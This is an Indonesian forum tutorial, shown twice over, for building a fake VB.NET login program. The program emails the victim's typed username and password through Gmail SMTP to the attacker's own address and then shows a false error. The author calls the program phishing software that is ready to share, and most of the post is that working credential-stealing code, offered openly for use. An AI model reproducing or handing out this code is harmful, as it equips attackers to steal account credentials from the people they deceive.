membuat fake program ( vb.net only ) + send mail
tambahkan
- 4 CheckBox
- 1 Linklabel
- 1 Progressbar
- 4 Label
- 2 Textbox
- 2 Button
![[Image: exx.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ujxTqMMKSwi-OdLB34NYEo238vv6z6SmrRGQ1rXjvEnyRbaZjhSL4cJ3lW8SyFbh4AFgbPah_CdON1T3xtQ3pOYVJ0DJTXGTHduBSdpXh5NGshaz4kFoQ_tnSzF6HLi0C_8A=s0-d)
ini code nya :
Imports System.Net.Mail
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("E-mail Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else
End If
End If
If ProgressBar1.Value < ProgressBar1.Maximum Then
ProgressBar1.Value += 200
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("gmailagan@gmail.com", "passwordgmailagan") 'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("gmailagan@gmail.com")
mail.To.Add("gmailagan@gmail.com")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("DIsconnected From Server, Please try again later!")
End Sub
Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Me.Close()
End Sub
Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub ProgressBar1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar1.Click
End Sub
Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
Process.Start("http://www.hacker-newbie.org")
End Sub
End Class
kalau sudah tekan F5 untuk start debungging
![[Image: xe.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tXVbpW8OiTSOjGo4YCJgqQg1ZKyPcD5BB2CfC2m5TWxtnC1Gnzs5MotinwQ91SK8Hw3sUJacFl6ETuVSDZgXW8JpYnOc75OUpix4eZuMuf2fzWiE-Ri42Y0hmKcC2RQsSk=s0-d)
kalau ada error kyk gini berarti phising sopware sukses
![[Image: ex.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vi1oFw1c3t4_nBNDaPBj9VcMMcouoLFPtzND8L7Lk9bvxldIIxEbnaNO917cvSxPM0asUT9MWO1df1wplhsTdTDPabxPBxcYUYxcsQEFpXAutCpsWBoG0nNJt4-7Nf6n0w=s0-d)
terus lihat di gmail agan .
![[Image: xex.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vuiUGKglJh9akga2TeOc7kTbPo9l9JUbs7LB74ZB9AThMEpRxBPXO13ScGmE-vuujAts7LEbl4nmTaBU2UYoQDGedBKk6XuayEDVo9ai0ipiPL8XxL4PEoj31n5f9JaWII=s0-d)
phising software siap di share . design sesuai keinginan agan" ...
maap klo tutorial nya bikin pusing .
- 4 CheckBox
- 1 Linklabel
- 1 Progressbar
- 4 Label
- 2 Textbox
- 2 Button
Spoiler:
ini code nya :
Spoiler:
Imports System.Net.Mail
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("E-mail Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else
End If
End If
If ProgressBar1.Value < ProgressBar1.Maximum Then
ProgressBar1.Value += 200
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("gmailagan@gmail.com", "passwordgmailagan") 'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("gmailagan@gmail.com")
mail.To.Add("gmailagan@gmail.com")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("DIsconnected From Server, Please try again later!")
End Sub
Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Me.Close()
End Sub
Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub ProgressBar1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar1.Click
End Sub
Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
Process.Start("http://www.hacker-newbie.org")
End Sub
End Class
kalau sudah tekan F5 untuk start debungging
Spoiler:
kalau ada error kyk gini berarti phising sopware sukses
Spoiler: hide
terus lihat di gmail agan .
Spoiler:
phising software siap di share . design sesuai keinginan agan" ...
maap klo tutorial nya bikin pusing .